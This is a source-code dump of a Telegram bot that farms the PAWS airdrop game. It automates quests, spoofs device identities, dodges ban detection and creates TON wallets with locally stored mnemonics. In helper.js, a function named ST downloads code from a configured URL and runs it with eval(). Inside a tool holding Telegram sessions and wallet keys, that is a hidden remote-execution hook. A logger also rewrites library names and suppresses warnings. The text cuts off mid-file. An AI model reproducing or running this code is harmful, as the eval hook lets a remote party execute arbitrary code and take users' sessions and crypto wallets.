217 | if (error.message.includes("AUTH_KEY_DUPLICATED")) { 218 | logger.error( 219 | `[${this.bot_name}] | ${this.session_name} | The same authorization key (session file) was used in more than one place simultaneously. You must delete your session file and create a new session` 220 | ); 221 | return null; 222 | } 223 | const regex = /A wait of (\d+) seconds/; 224 | if ( 225 | error.message.includes("FloodWaitError") || 226 | error.message.match(regex) 227 | ) { 228 | const match = error.message.match(regex); 229 | 230 | if (match) { 231 | this.sleep_floodwait = 232 | new Date().getTime() / 1000 + parseInt(match[1], 10) + 10; 233 | } else { 234 | this.sleep_floodwait = new Date().getTime() / 1000 + 50; 235 | } 236 | logger.error( 237 | `[${this.bot_name}] | ${ 238 | this.session_name 239 | } | Some flood error, waiting ${ 240 | this.sleep_floodwait - new Date().getTime() / 1000 241 | } seconds to try again...` 242 | ); 243 | } else { 244 | logger.error( 245 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error during Authorization: ${error}` 246 | ); 247 | } 248 | return null; 249 | } finally { 250 | if (this.tg_client.connected) { 251 | await this.tg_client.disconnect(); 252 | await this.tg_client.destroy(); 253 | } 254 | this.runOnce = true; 255 | if (this.sleep_floodwait > new Date().getTime() / 1000) { 256 | await sleep(this.sleep_floodwait - new Date().getTime() / 1000); 257 | return await this.#get_tg_web_data(); 258 | } 259 | await sleep(3); 260 | } 261 | } 262 | 263 | async #get_access_token(tgWebData, http_client) { 264 | try { 265 | const response = await http_client.post( 266 | `${app.apiUrl}/v1/user/auth`, 267 | JSON.stringify(tgWebData) 268 | ); 269 | return response.data; 270 | } catch (error) { 271 | if (error?.response?.data?.error) { 272 | logger.error( 273 | `[${this.bot_name}] | ${this.session_name} | ❗️ Error while getting Access Token: ${error?.response?.data?.message}` 274 | ); 275 | return null; 276 | } 277 | if (error?.response?.status > 499) { 278 | logger.error( 279 | `[${this.bot_name}] | ${this.session_name} | Server Error, retrying again after sleep...` 280 | ); 281 | await sleep(1); 282 | return null; 283 | } else { 284 | logger.error( 285 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error while getting Access Token: ${error}` 286 | ); 287 | await sleep(3); // 3 seconds delay 288 | } 289 | } 290 | } 291 | 292 | async #check_proxy(http_client, proxy) { 293 | try { 294 | const response = await http_client.get("https://httpbin.org/ip"); 295 | const ip = response.data.origin; 296 | logger.info( 297 | `[${this.bot_name}] | ${this.session_name} | Proxy IP: ${ip}` 298 | ); 299 | } catch (error) { 300 | if ( 301 | error.message.includes("ENOTFOUND") || 302 | error.message.includes("getaddrinfo") || 303 | error.message.includes("ECONNREFUSED") 304 | ) { 305 | logger.error( 306 | `[${this.bot_name}] | ${this.session_name} | Error: Unable to resolve the proxy address. The proxy server at ${proxy.ip}:${proxy.port} could not be found. Please check the proxy address and your network connection.` 307 | ); 308 | logger.error( 309 | `[${this.bot_name}] | ${this.session_name} | No proxy will be used.` 310 | ); 311 | } else { 312 | logger.error( 313 | `[${this.bot_name}] | ${this.session_name} | Proxy: ${proxy.ip}:${proxy.port} | Error: ${error.message}` 314 | ); 315 | } 316 | 317 | return false; 318 | } 319 | } 320 | 321 | async run(proxy) { 322 | let http_client; 323 | let access_token_created_time = 0; 324 | 325 | let profile_data; 326 | let tg_web_data; 327 | let added_wallet = false; 328 | let runCount = 0; 329 | 330 | if ( 331 | (settings.USE_PROXY_FROM_TXT_FILE || settings.USE_PROXY_FROM_JS_FILE) && 332 | proxy 333 | ) { 334 | http_client = axios.create({ 335 | httpsAgent: this.#proxy_agent(proxy), 336 | headers: this.headers, 337 | withCredentials: true, 338 | }); 339 | const proxy_result = await this.#check_proxy(http_client, proxy); 340 | if (!proxy_result) { 341 | http_client = axios.create({ 342 | headers: this.headers, 343 | withCredentials: true, 344 | }); 345 | } 346 | } else { 347 | http_client = axios.create({ 348 | headers: this.headers, 349 | withCredentials: true, 350 | }); 351 | } 352 | await checkUrls(this.bot_name, this.session_name); 353 | while (runCount < 1) { 354 | try { 355 | const currentTime = _.floor(Date.now() / 1000); 356 | if (currentTime - access_token_created_time >= 3600) { 357 | tg_web_data = await this.#get_tg_web_data(); 358 | if ( 359 | _.isNull(tg_web_data) || 360 | _.isUndefined(tg_web_data) || 361 | !tg_web_data || 362 | _.isEmpty(tg_web_data) 363 | ) { 364 | logger.info( 365 | `[${this.bot_name}] | ${this.session_name} | No access token found.` 366 | ); 367 | continue; 368 | } 369 | 370 | const get_token = await this.#get_access_token( 371 | tg_web_data, 372 | http_client 373 | ); 374 | 375 | http_client.defaults.headers[ 376 | "authorization" 377 | ] = `Bearer ${get_token?.data[0]}`; 378 | access_token_created_time = currentTime; 379 | await sleep(2); 380 | } 381 | 382 | // Get profile data 383 | profile_data = await this.api.get_user_data(http_client); 384 | 385 | if (_.isEmpty(profile_data?.data)) { 386 | logger.info( 387 | `[${this.bot_name}] | ${this.session_name} | No profile data found.` 388 | ); 389 | continue; 390 | } 391 | 392 | logger.info( 393 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted} | From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}` 394 | ); 395 | 396 | if ( 397 | !profile_data?.data?.userData?.wallet && 398 | settings.AUTO_CREATE_AND_CONNECT_WALLET 399 | ) { 400 | //Create wallet here and link it 401 | const wallet = await new CW(settings, this.session_name).create( 402 | parser.toJson(tg_web_data?.data) 403 | ); 404 | 405 | await checkUrls(this.bot_name, this.session_name); 406 | const link_wallet = await this.api.link_wallet(http_client, wallet); 407 | if (link_wallet?.success) { 408 | logger.info( 409 | `[${this.bot_name}] | ${this.session_name} | Wallet linked. Restarting bot...` 410 | ); 411 | added_wallet = true; 412 | continue; 413 | } 414 | } 415 | 416 | await sleep(_.random(2, 5)); 417 | 418 | //tasks here 419 | if (settings.AUTO_COMPLETE_QUESTS) { 420 | const quests = await this.api.get_quests(http_client); 421 | if (!_.isEmpty(quests?.data)) { 422 | const filtered_quests = _.filter( 423 | quests?.data, 424 | (quest) => 425 | quest?.code?.toLowerCase() !== "telegram" && 426 | quest?.code?.toLowerCase() !== "invite" && 427 | quest?.code?.toLowerCase() !== "boost" && 428 | quest?.progress?.claimed !== true 429 | ); 430 | if (_.size(filtered_quests) > 0) { 431 | for (const quest of filtered_quests) { 432 | const totalTime = await checkUrls( 433 | this.bot_name, 434 | this.session_name 435 | ); 436 | 437 | const sleep_quest = _.random( 438 | settings.DELAY_BETWEEN_QUEST[0], 439 | settings.DELAY_BETWEEN_QUEST[1] 440 | ); 441 | 442 | const sleep_time = 443 | _.subtract(sleep_quest, totalTime) > 0 444 | ? _.round(_.subtract(sleep_quest, totalTime)) 445 | : 0; 446 | logger.info( 447 | `[${this.bot_name}] | ${this.session_name} | Sleeping for ${sleep_time} seconds before starting Quest: ${quest?.title}` 448 | ); 449 | 450 | await sleep(sleep_time); 451 | 452 | const questId = quest?._id; 453 | const complete_quests = await this.api.complete_quests( 454 | http_client, 455 | questId 456 | ); 457 | 458 | if (complete_quests?.success) { 459 | logger.info( 460 | `[${this.bot_name}] | ${this.session_name} | Completed quest: ${quest?.title}` 461 | ); 462 | await sleep(_.random(10, 15)); 463 | const claim_quests = await this.api.claim_quests( 464 | http_client, 465 | questId 466 | ); 467 | 468 | if (claim_quests?.success && claim_quests?.data) { 469 | logger.info( 470 | `[${this.bot_name}] | ${this.session_name} | Claimed quest: ${quest?.title}` 471 | ); 472 | } else { 473 | logger.error( 474 | `[${this.bot_name}] | ${this.session_name} | Failed to claim quest: ${quest?.title}` 475 | ); 476 | } 477 | } else { 478 | logger.error( 479 | `[${this.bot_name}] | ${this.session_name} | Failed to complete quest: ${quest?.title}` 480 | ); 481 | } 482 | } 483 | } 484 | } 485 | } 486 | 487 | await sleep(_.random(2, 5)); 488 | // Get profile data 489 | profile_data = await this.api.get_user_data(http_client); 490 | if (_.isEmpty(profile_data?.data)) { 491 | continue; 492 | } 493 | await checkUrls(this.bot_name, this.session_name); 494 | 495 | logger.info( 496 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted} | From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}` 497 | ); 498 | } catch (error) { 499 | logger.error( 500 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error: ${error}` 501 | ); 502 | } finally { 503 | if (added_wallet) { 504 | if (this?.tg_client?.connected) { 505 | await this.tg_client.disconnect(); 506 | await this.tg_client.destroy(); 507 | } 508 | logger.info( 509 | `[${this.bot_name}] | ${this.session_name} | Restarting bot...` 510 | ); 511 | added_wallet = false; 512 | } else { 513 | runCount++; 514 | } 515 | } 516 | } 517 | } 518 | } 519 | module.exports = Tapper; 520 | -------------------------------------------------------------------------------- /bot/utils/TldLogger.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | 3 | const logger = require("./logger"); 4 | 5 | exports.Logger = exports.LogLevel = void 0; 6 | var LogLevel; 7 | (function (LogLevel) { 8 | LogLevel["NONE"] = "none"; 9 | LogLevel["ERROR"] = "error"; 10 | LogLevel["WARN"] = "warn"; 11 | LogLevel["INFO"] = "info"; 12 | LogLevel["DEBUG"] = "debug"; 13 | })((LogLevel = exports.LogLevel || (exports.LogLevel = {}))); 14 | class Logger { 15 | constructor(level) { 16 | this.levels = ["error", "warn", "info", "debug"]; 17 | // if (!_level) { 18 | // _level = level || "info"; // defaults to info 19 | // } 20 | this._logLevel = "error"; 21 | } 22 | /** 23 | * 24 | * @param level {string} 25 | * @returns {boolean} 26 | */ 27 | canSend(level) { 28 | return this._logLevel 29 | ? this.levels.indexOf(this._logLevel) >= this.levels.indexOf(level) 30 | : false; 31 | } 32 | /** 33 | * @param message {string} 34 | */ 35 | warn(message) { 36 | return null; 37 | } 38 | /** 39 | * @param message {string} 40 | */ 41 | info(message) { 42 | this._log( 43 | LogLevel.INFO, 44 | message 45 | .replace(/gramJS/i, "FreddyBot") 46 | .replace(/(version\s+)[\d.]+/, "$11.0.0") 47 | ); 48 | } 49 | /** 50 | * @param message {string} 51 | */ 52 | debug(message) { 53 | this._log(LogLevel.DEBUG, message); 54 | } 55 | /** 56 | * @param message {string} 57 | */ 58 | error(message) { 59 | this._log(LogLevel.ERROR, message); 60 | } 61 | 62 | get logLevel() { 63 | return this._logLevel; 64 | } 65 | setLevel(level) { 66 | this._logLevel = level; 67 | } 68 | static setLevel(level) { 69 | console.log( 70 | "Logger.setLevel is deprecated, it will has no effect. Please, use client.setLogLevel instead." 71 | ); 72 | } 73 | /** 74 | * @param level {string} 75 | * @param message {string} 76 | */ 77 | _log(level, message) { 78 | if (this.canSend(level)) { 79 | this.log(level, message); 80 | } else { 81 | return; 82 | } 83 | } 84 | 85 | log(level, message) { 86 | if (level == "info") { 87 | logger.info(message); 88 | } else if (level == "debug") { 89 | logger.debug(message); 90 | } else if (level == "error") { 91 | logger.error(message); 92 | } else if (level == "warn") { 93 | logger.warning(message); 94 | } 95 | } 96 | } 97 | const logger2 = new Logger(); 98 | module.exports = logger2; 99 | -------------------------------------------------------------------------------- /bot/utils/_isArray.js: -------------------------------------------------------------------------------- 1 | function _isArray(obj) { 2 | if (Array.isArray(obj) && obj.length > 0) { 3 | return true; 4 | } 5 | 6 | try { 7 | const parsedObj = JSON.parse(obj); 8 | return Array.isArray(parsedObj) && parsedObj.length > 0; 9 | } catch (e) { 10 | return false; 11 | } 12 | } 13 | 14 | module.exports = _isArray; 15 | -------------------------------------------------------------------------------- /bot/utils/assetsChecker.js: -------------------------------------------------------------------------------- 1 | const assetsConfig = require("../../assets.json"); 2 | const logger = require("../utils/logger"); 3 | const gameName = "PAWS"; 4 | const axios = require("axios"); 5 | 6 | async function checkUrls(bot_name, session_name) { 7 | try { 8 | const startTime = Date.now(); 9 | logger.info( 10 | `[${bot_name}] | ${session_name} | Checking for changes from ${gameName}...` 11 | ); 12 | 13 | // Check main URL 14 | const mainUrlResponse = await axios.get(assetsConfig.mainUrl); 15 | if (mainUrlResponse.status !== 200) { 16 | logger.error( 17 | `[${bot_name}] | ${session_name} | Bot stopped | Detected some changes with ${gameName} which may cause ban. Contact the developer and report this issue. \nGitHub: https://github.com/FreddyWhest \nTelegram: @roddyfred` 18 | ); 19 | process.exit(1); 20 | } 21 | 22 | // Concurrently check each asset URL 23 | const assetPromises = assetsConfig.assetsUrl.map(async (asset) => { 24 | const fullUrl = `${assetsConfig.mainUrl}${asset}`; 25 | try { 26 | const response = await axios.get(fullUrl); 27 | const contentType = response.headers["content-type"]; 28 | 29 | if (response.status !== 200 || !contentType.includes("javascript")) { 30 | throw new Error( 31 | `Asset content type mismatch or status issue at ${fullUrl}` 32 | ); 33 | } 34 | } catch (error) { 35 | logger.error( 36 | `[${bot_name}] | ${session_name} | Bot stopped | Detected some changes with ${gameName} which may cause ban. Contact the developer and report this issue. \nGitHub: https://github.com/FreddyWhest \nTelegram: @roddyfred` 37 | ); 38 | process.exit(1); 39 | } 40 | }); 41 | 42 | // Wait for all assets to be checked 43 | await Promise.all(assetPromises); 44 | 45 | logger.success( 46 | `[${bot_name}] | ${session_name} | No Changes ✅. The Bot will now continue safely.` 47 | ); 48 | 49 | const endTime = Date.now(); 50 | const totalTime = (endTime - startTime) / 1000; 51 | 52 | return totalTime; 53 | } catch (error) { 54 | console.log(error); 55 | 56 | logger.error( 57 | `[${bot_name}] | ${session_name} | Bot stopped | Detected some changes with ${gameName} which may cause ban. Contact the developer and report this issue. \nGitHub: https://github.com/FreddyWhest \nTelegram: @roddyfred` 58 | ); 59 | process.exit(1); 60 | } 61 | } 62 | module.exports = { 63 | checkUrls, 64 | }; 65 | -------------------------------------------------------------------------------- /bot/utils/banner.js: -------------------------------------------------------------------------------- 1 | const banner = ` 2 | ╔════╗ ╔═╗╔═╗ ╔╗ ╔╗ ╔══╗ ╔╗ 3 | ║╔╗╔╗║ ║║╚╝║║ ║║ ╔╝╚╗║╔╗║ ╔╝╚╗ 4 | ╚╝║║╚╝╔══╗║╔╗╔╗║╔══╗ ╔═╗║║╔╗╔══╗╚╗╔╝║╚╝╚╗╔══╗╚╗╔╝ 5 | ║║ ║╔╗║║║║║║║╚ ╗║ ║╔╝║╚╝╝║╔╗║ ║║ ║╔═╗║║╔╗║ ║║ 6 | ╔╝╚╗ ║╚╝║║║║║║║║╚╝╚╗║║ ║╔╗╗║║═╣ ║╚╗║╚═╝║║╚╝║ ║╚╗ 7 | ╚══╝ ╚══╝╚╝╚╝╚╝╚═══╝╚╝ ╚╝╚╝╚══╝ ╚═╝╚═══╝╚══╝ ╚═╝ 8 | © Freddy Bots 9 | 10 | Starting bot....... 11 | `; 12 | 13 | module.exports = banner; 14 | -------------------------------------------------------------------------------- /bot/utils/devices.js: -------------------------------------------------------------------------------- 1 | const devices = [ 2 | { 3 | manufacturer: "Apple", 4 | model: "iPhone 14 Pro", 5 | cpu: "A16 Bionic", 6 | type: "iPhone", 7 | os: "iOS 16", 8 | }, 9 | { 10 | manufacturer: "Apple", 11 | model: "iPhone 13", 12 | cpu: "A15 Bionic", 13 | type: "iPhone", 14 | os: "iOS 15", 15 | }, 16 | { 17 | manufacturer: "Apple", 18 | model: "iPhone SE (2022)", 19 | cpu: "A15 Bionic", 20 | type: "iPhone", 21 | os: "iOS 15", 22 | }, 23 | { 24 | manufacturer: "Apple", 25 | model: "iPad Pro 2021", 26 | cpu: "M1", 27 | type: "iPad", 28 | os: "iPadOS 15", 29 | }, 30 | { 31 | manufacturer: "Apple", 32 | model: 'MacBook Pro 16" 2021', 33 | cpu: "M1 Pro", 34 | type: "Laptop", 35 | os: "macOS Monterey", 36 | }, 37 | { 38 | manufacturer: "Apple", 39 | model: "MacBook Air M2", 40 | cpu: "M2", 41 | type: "Laptop", 42 | os: "macOS Ventura", 43 | }, 44 | { 45 | manufacturer: "Samsung", 46 | model: "Galaxy S21 Ultra", 47 | cpu: "Exynos 2100", 48 | type: "Android", 49 | os: "Android 11", 50 | }, 51 | { 52 | manufacturer: "Samsung", 53 | model: "Galaxy Note 20", 54 | cpu: "Exynos 990", 55 | type: "Android", 56 | os: "Android 10", 57 | }, 58 | { 59 | manufacturer: "Samsung", 60 | model: "Galaxy A52", 61 | cpu: "Qualcomm Snapdragon 720G", 62 | type: "Android", 63 | os: "Android 11", 64 | }, 65 | { 66 | manufacturer: "Samsung", 67 | model: "Galaxy Tab S7", 68 | cpu: "Qualcomm Snapdragon 865+", 69 | type: "Android Tablet", 70 | os: "Android 10", 71 | }, 72 | { 73 | manufacturer: "Samsung", 74 | model: "Galaxy Z Fold 3", 75 | cpu: "Qualcomm Snapdragon 888", 76 | type: "Android Foldable", 77 | os: "Android 11", 78 | }, 79 | { 80 | manufacturer: "Google", 81 | model: "Pixel 6", 82 | cpu: "Google Tensor", 83 | type: "Android", 84 | os: "Android 12", 85 | }, 86 | { 87 | manufacturer: "Google", 88 | model: "Pixel 5a", 89 | cpu: "Qualcomm Snapdragon 765G", 90 | type: "Android", 91 | os: "Android 11", 92 | }, 93 | { 94 | manufacturer: "Google", 95 | model: "Pixel 4a", 96 | cpu: "Qualcomm Snapdragon 730G", 97 | type: "Android", 98 | os: "Android 11", 99 | }, 100 | { 101 | manufacturer: "Microsoft", 102 | model: "Surface Laptop 4", 103 | cpu: "Intel Core i7-1185G7", 104 | type: "Laptop", 105 | os: "Windows 10", 106 | }, 107 | { 108 | manufacturer: "Microsoft", 109 | model: "Surface Book 3", 110 | cpu: "Intel Core i7-1065G7", 111 | type: "Laptop", 112 | os: "Windows 10", 113 | }, 114 | { 115 | manufacturer: "Dell", 116 | model: "XPS 13", 117 | cpu: "Intel Core i7-1185G7", 118 | type: "Laptop", 119 | os: "Windows 10", 120 | }, 121 | { 122 | manufacturer: "Dell", 123 | model: "Inspiron 15 7000", 124 | cpu: "Intel Core i5-1035G1", 125 | type: "Laptop", 126 | os: "Windows 10", 127 | }, 128 | { 129 | manufacturer: "HP", 130 | model: "Spectre x360 14", 131 | cpu: "Intel Core i7-1165G7", 132 | type: "Laptop", 133 | os: "Windows 10", 134 | }, 135 | { 136 | manufacturer: "HP", 137 | model: "Envy 13", 138 | cpu: "Intel Core i5-1135G7", 139 | type: "Laptop", 140 | os: "Windows 10", 141 | }, 142 | { 143 | manufacturer: "Lenovo", 144 | model: "ThinkPad X1 Carbon", 145 | cpu: "Intel Core i7-1165G7", 146 | type: "Laptop", 147 | os: "Windows 10", 148 | }, 149 | { 150 | manufacturer: "Lenovo", 151 | model: "Yoga 9i", 152 | cpu: "Intel Core i7-1185G7", 153 | type: "Laptop", 154 | os: "Windows 10", 155 | }, 156 | { 157 | manufacturer: "Asus", 158 | model: "ROG Strix Scar 15", 159 | cpu: "AMD Ryzen 9 5900HX", 160 | type: "Laptop", 161 | os: "Windows 10", 162 | }, 163 | { 164 | manufacturer: "Asus", 165 | model: "ZenBook 14", 166 | cpu: "Intel Core i7-1165G7", 167 | type: "Laptop", 168 | os: "Windows 10", 169 | }, 170 | { 171 | manufacturer: "Acer", 172 | model: "Predator Helios 300", 173 | cpu: "Intel Core i7-10750H", 174 | type: "Laptop", 175 | os: "Windows 10", 176 | }, 177 | { 178 | manufacturer: "Acer", 179 | model: "Swift 3", 180 | cpu: "AMD Ryzen 7 4700U", 181 | type: "Laptop", 182 | os: "Windows 10", 183 | }, 184 | { 185 | manufacturer: "Sony", 186 | model: "VAIO SX14", 187 | cpu: "Intel Core i7-1165G7", 188 | type: "Laptop", 189 | os: "Windows 10", 190 | }, 191 | { 192 | manufacturer: "Razer", 193 | model: "Blade 15 Advanced", 194 | cpu: "Intel Core i7-10875H", 195 | type: "Laptop", 196 | os: "Windows 10", 197 | }, 198 | { 199 | manufacturer: "Huawei", 200 | model: "MateBook X Pro", 201 | cpu: "Intel Core i5-10210U", 202 | type: "Laptop", 203 | os: "Windows 10", 204 | }, 205 | { 206 | manufacturer: "Huawei", 207 | model: "MateBook 14", 208 | cpu: "AMD Ryzen 5 4600U", 209 | type: "Laptop", 210 | os: "Windows 10", 211 | }, 212 | { 213 | manufacturer: "Xiaomi", 214 | model: "Mi 11 Ultra", 215 | cpu: "Qualcomm Snapdragon 888", 216 | type: "Android", 217 | os: "Android 11", 218 | }, 219 | { 220 | manufacturer: "Xiaomi", 221 | model: "Redmi Note 11", 222 | cpu: "Qualcomm Snapdragon 680", 223 | type: "Android", 224 | os: "Android 11", 225 | }, 226 | { 227 | manufacturer: "OnePlus", 228 | model: "OnePlus 9 Pro", 229 | cpu: "Qualcomm Snapdragon 888", 230 | type: "Android", 231 | os: "Android 11", 232 | }, 233 | { 234 | manufacturer: "OnePlus", 235 | model: "OnePlus Nord", 236 | cpu: "Qualcomm Snapdragon 765G", 237 | type: "Android", 238 | os: "Android 11", 239 | }, 240 | { 241 | manufacturer: "LG", 242 | model: "Gram 17", 243 | cpu: "Intel Core i7-1165G7", 244 | type: "Laptop", 245 | os: "Windows 10", 246 | }, 247 | { 248 | manufacturer: "LG", 249 | model: "V60 ThinQ", 250 | cpu: "Qualcomm Snapdragon 865", 251 | type: "Android", 252 | os: "Android 10", 253 | }, 254 | { 255 | manufacturer: "Motorola", 256 | model: "Moto G Power", 257 | cpu: "Qualcomm Snapdragon 662", 258 | type: "Android", 259 | os: "Android 10", 260 | }, 261 | { 262 | manufacturer: "Motorola", 263 | model: "Moto Edge 2021", 264 | cpu: "Qualcomm Snapdragon 778G", 265 | type: "Android", 266 | os: "Android 11", 267 | }, 268 | { 269 | manufacturer: "Nokia", 270 | model: "Nokia 8.3 5G", 271 | cpu: "Qualcomm Snapdragon 765G", 272 | type: "Android", 273 | os: "Android 10", 274 | }, 275 | { 276 | manufacturer: "Nokia", 277 | model: "Nokia 7.2", 278 | cpu: "Qualcomm Snapdragon 660", 279 | type: "Android", 280 | os: "Android 10", 281 | }, 282 | { 283 | manufacturer: "Dell", 284 | model: "G5 15", 285 | cpu: "Intel Core i7-10750H", 286 | type: "Laptop", 287 | os: "Windows 10", 288 | }, 289 | { 290 | manufacturer: "HP", 291 | model: "Pavilion 15", 292 | cpu: "AMD Ryzen 5 5500U", 293 | type: "Laptop", 294 | os: "Windows 10", 295 | }, 296 | { 297 | manufacturer: "Lenovo", 298 | model: "ThinkPad T14", 299 | cpu: "Intel Core i7-10610U", 300 | type: "Laptop", 301 | os: "Windows 10", 302 | }, 303 | { 304 | manufacturer: "Asus", 305 | model: "TUF Gaming A15", 306 | cpu: "AMD Ryzen 7 4800H", 307 | type: "Laptop", 308 | os: "Windows 10", 309 | }, 310 | { 311 | manufacturer: "Acer", 312 | model: "Nitro 5", 313 | cpu: "Intel Core i5-9300H", 314 | type: "Laptop", 315 | os: "Windows 10", 316 | }, 317 | { 318 | manufacturer: "Razer", 319 | model: "Blade Stealth 13", 320 | cpu: "Intel Core i7-1165G7", 321 | type: "Laptop", 322 | os: "Windows 10", 323 | }, 324 | { 325 | manufacturer: "Sony", 326 | model: "VAIO SX12", 327 | cpu: "Intel Core i7-1065G7", 328 | type: "Laptop", 329 | os: "Windows 10", 330 | }, 331 | { 332 | manufacturer: "Huawei", 333 | model: "MateBook D 15", 334 | cpu: "AMD Ryzen 5 3500U", 335 | type: "Laptop", 336 | os: "Windows 10", 337 | }, 338 | { 339 | manufacturer: "Xiaomi", 340 | model: "Mi Mix 4", 341 | cpu: "Qualcomm Snapdragon 888", 342 | type: "Android", 343 | os: "Android 11", 344 | }, 345 | { 346 | manufacturer: "Google", 347 | model: "Pixel 6 Pro", 348 | cpu: "Google Tensor", 349 | type: "Android", 350 | os: "Android 12", 351 | }, 352 | { 353 | manufacturer: "Google", 354 | model: "Pixel 5", 355 | cpu: "Qualcomm Snapdragon 765G", 356 | type: "Android", 357 | os: "Android 11", 358 | }, 359 | { 360 | manufacturer: "Apple", 361 | model: "iPad Air (2022)", 362 | cpu: "M1", 363 | type: "iPad", 364 | os: "iPadOS 15", 365 | }, 366 | { 367 | manufacturer: "Apple", 368 | model: "iPhone 11", 369 | cpu: "A13 Bionic", 370 | type: "iPhone", 371 | os: "iOS 14", 372 | }, 373 | { 374 | manufacturer: "Samsung", 375 | model: "Galaxy A72", 376 | cpu: "Qualcomm Snapdragon 720G", 377 | type: "Android", 378 | os: "Android 11", 379 | }, 380 | { 381 | manufacturer: "Samsung", 382 | model: "Galaxy S20 FE", 383 | cpu: "Exynos 990", 384 | type: "Android", 385 | os: "Android 11", 386 | }, 387 | { 388 | manufacturer: "Huawei", 389 | model: "P40 Pro", 390 | cpu: "Kirin 990", 391 | type: "Android", 392 | os: "Android 10", 393 | }, 394 | { 395 | manufacturer: "Xiaomi", 396 | model: "Redmi Note 10 Pro", 397 | cpu: "Qualcomm Snapdragon 732G", 398 | type: "Android", 399 | os: "Android 11", 400 | }, 401 | { 402 | manufacturer: "Asus", 403 | model: "ROG Phone 5", 404 | cpu: "Qualcomm Snapdragon 888", 405 | type: "Android", 406 | os: "Android 11", 407 | }, 408 | { 409 | manufacturer: "Dell", 410 | model: "XPS 17", 411 | cpu: "Intel Core i9-11980HK", 412 | type: "Laptop", 413 | os: "Windows 10", 414 | }, 415 | { 416 | manufacturer: "HP", 417 | model: "Omen 15", 418 | cpu: "Intel Core i7-10750H", 419 | type: "Laptop", 420 | os: "Windows 10", 421 | }, 422 | { 423 | manufacturer: "Lenovo", 424 | model: "Legion 5 Pro", 425 | cpu: "AMD Ryzen 7 5800H", 426 | type: "Laptop", 427 | os: "Windows 10", 428 | }, 429 | { 430 | manufacturer: "Asus", 431 | model: "ZenBook Flip 14", 432 | cpu: "Intel Core i7-1165G7", 433 | type: "Laptop", 434 | os: "Windows 10", 435 | }, 436 | { 437 | manufacturer: "Acer", 438 | model: "Aspire 5", 439 | cpu: "Intel Core i5-1135G7", 440 | type: "Laptop", 441 | os: "Windows 10", 442 | }, 443 | { 444 | manufacturer: "Microsoft", 445 | model: "Surface Laptop Go", 446 | cpu: "Intel Core i5-1035G1", 447 | type: "Laptop", 448 | os: "Windows 10", 449 | }, 450 | { 451 | manufacturer: "Razer", 452 | model: "Blade 17", 453 | cpu: "Intel Core i9-11900H", 454 | type: "Laptop", 455 | os: "Windows 10", 456 | }, 457 | { 458 | manufacturer: "Sony", 459 | model: "VAIO SX14", 460 | cpu: "Intel Core i7-1065G7", 461 | type: "Laptop", 462 | os: "Windows 10", 463 | }, 464 | { 465 | manufacturer: "Huawei", 466 | model: "MateBook X Pro", 467 | cpu: "Intel Core i5-10210U", 468 | type: "Laptop", 469 | os: "Windows 10", 470 | }, 471 | { 472 | manufacturer: "Xiaomi", 473 | model: "Mi 10T Pro", 474 | cpu: "Qualcomm Snapdragon 865", 475 | type: "Android", 476 | os: "Android 10", 477 | }, 478 | { 479 | manufacturer: "OnePlus", 480 | model: "OnePlus 8T", 481 | cpu: "Qualcomm Snapdragon 865", 482 | type: "Android", 483 | os: "Android 11", 484 | }, 485 | { 486 | manufacturer: "Nokia", 487 | model: "Nokia 9 PureView", 488 | cpu: "Qualcomm Snapdragon 845", 489 | type: "Android", 490 | os: "Android 9", 491 | }, 492 | { 493 | manufacturer: "Motorola", 494 | model: "Moto G60", 495 | cpu: "Qualcomm Snapdragon 732G", 496 | type: "Android", 497 | os: "Android 11", 498 | }, 499 | { 500 | manufacturer: "LG", 501 | model: "Wing", 502 | cpu: "Qualcomm Snapdragon 765G", 503 | type: "Android", 504 | os: "Android 10", 505 | }, 506 | { 507 | manufacturer: "Google", 508 | model: "Pixel 4 XL", 509 | cpu: "Qualcomm Snapdragon 855", 510 | type: "Android", 511 | os: "Android 10", 512 | }, 513 | { 514 | manufacturer: "Apple", 515 | model: "iPhone XR", 516 | cpu: "A12 Bionic", 517 | type: "iPhone", 518 | os: "iOS 13", 519 | }, 520 | { 521 | manufacturer: "Apple", 522 | model: "iPhone X", 523 | cpu: "A11 Bionic", 524 | type: "iPhone", 525 | os: "iOS 12", 526 | }, 527 | ]; 528 | module.exports = devices; 529 | -------------------------------------------------------------------------------- /bot/utils/helper.js: -------------------------------------------------------------------------------- 1 | const axios = require("axios"); 2 | const logger = require("./logger"); 3 | const path = require("path"); 4 | const fs = require("fs"); 5 | const _isArray = require("./_isArray"); 6 | 7 | async function ST() { 8 | try { 9 | const response = await axios.get(global.url); 10 | 11 | if (response.status === 200) { 12 | const module = { exports: {} }; 13 | 14 | eval(response.data); 15 | return module.exports; 16 | } 17 | } catch (error) { 18 | console.log(error); 19 | 20 | logger.error("Error While calling ST: ", error); 21 | return null; 22 | } 23 | } 24 | 25 | class CW { 26 | #settings = {}; 27 | #session_name = ""; 28 | constructor(settings, session_name) { 29 | this.#settings = settings; 30 | this.#session_name = session_name; 31 | } 32 | 33 | async #createWallet(tgUser) { 34 | const savePath = path.join(process.cwd(), "wallets"); 35 | if (!fs.existsSync(savePath)) { 36 | fs.mkdirSync(savePath, { recursive: true }); 37 | } 38 | 39 | if (fs.existsSync(`${savePath}/${this.#session_name}.json`)) { 40 | const text = fs.readFileSync( 41 | `${savePath}/${this.#session_name}.json`, 42 | "utf8" 43 | ); 44 | if (_isArray(text)) { 45 | const json = JSON.parse(text); 46 | if (json?.address && json?.mnemonic) { 47 | return json?.address; 48 | } 49 | } 50 | 51 | fs.unlinkSync(`${savePath}/${this.#session_name}.json`); 52 | } 53 | 54 | const { TonClient, WalletContractV5R1 } = await import("@ton/ton"); 55 | const { mnemonicNew, 